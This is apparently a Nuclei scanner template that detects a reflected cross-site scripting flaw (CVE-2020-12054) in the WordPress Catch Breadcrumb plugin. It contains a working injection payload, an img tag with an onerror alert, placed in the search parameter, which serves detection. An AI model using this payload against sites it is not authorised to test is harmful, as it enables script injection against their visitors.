id: CVE-2020-12054

info:
  name: WordPress Catch Breadcrumb <1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Catch Breadcrumb plugin before 1.5.4 contains a reflected cross-site scripting vulnerability via the s parameter (a search query). Also affected are 16 themes if the plugin is enabled: Alchemist and Alchemist PRO, Izabel and Izabel PRO, Chique and Chique PRO, Clean Enterprise and Clean Enterprise PRO, Bold Photography PRO, Intuitive PRO, Devotepress PRO, Clean Blocks PRO, Foodoholic PRO, Catch Mag PRO, Catch Wedding PRO, and Higher Education PRO.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Catch Breadcrumb plugin (1.5.4 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://wpvulndb.com/vulnerabilities/10184
    - https://cxsecurity.com/issue/WLB-2020040144
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12054
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-12054
    cwe-id: CWE-79
    epss-score: 0.03611
    epss-percentile: 0.88003
    cpe: cpe:2.3:a:catchplugins:catch_breadcrumb:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: catchplugins
    product: catch_breadcrumb
    framework: wordpress
  tags: cve,cve2020,wordpress,xss,wp-plugin,wpscan,catchplugins,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(123);>"
          - "catch-breadcrumb"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205d8ce21dd6e2f89bf631970b8cb5d1c81e277268613a431f08d75536e355264f022100ac5d6932626b8f185adf584609b745390d97924872b2098a90c338e091c4565f:922c64590222798bb761d5b6d8e72950